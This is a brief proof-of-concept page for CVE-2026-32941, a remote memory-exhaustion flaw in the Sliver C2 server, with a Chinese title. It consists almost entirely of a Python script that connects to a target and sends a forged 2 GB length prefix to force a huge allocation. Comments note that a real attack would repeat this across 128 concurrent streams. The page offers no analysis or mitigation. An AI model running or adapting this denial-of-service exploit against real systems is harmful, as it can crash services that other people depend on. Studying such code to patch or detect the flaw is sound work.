CVE-2026-32941 Sliver C2 远程内存耗尽漏洞

import socket import struct import time # Target configuration TARGET_HOST = '192.168.1.100' TARGET_PORT = 8888 # Default Sliver C2 port (example) NUM_STREAMS = 128 # Max concurrent yamux streams mentioned # Max message size allowed is ~2GB, we send a large value to trigger OOM # 2GB = 2147483648 bytes MALICIOUS_SIZE = 2147483648 def send_malicious_packet(): try: # Establish TCP connection to Sliver C2 print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Simulate sending the length prefix (Big Endian) # The server reads 4 bytes as length and allocates memory accordingly payload_prefix = struct.pack('>I', MALICIOUS_SIZE) print(f"[*] Sending malicious length prefix: {MALICIOUS_SIZE} bytes") s.sendall(payload_prefix) # Keep connection open to prevent immediate reset during allocation attempt # Real exploitation might involve yamux protocol framing print("[*] Packet sent, waiting for server response/timeout...") time.sleep(5) except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": # In a real attack, this would be looped or threaded for NUM_STREAMS send_malicious_packet()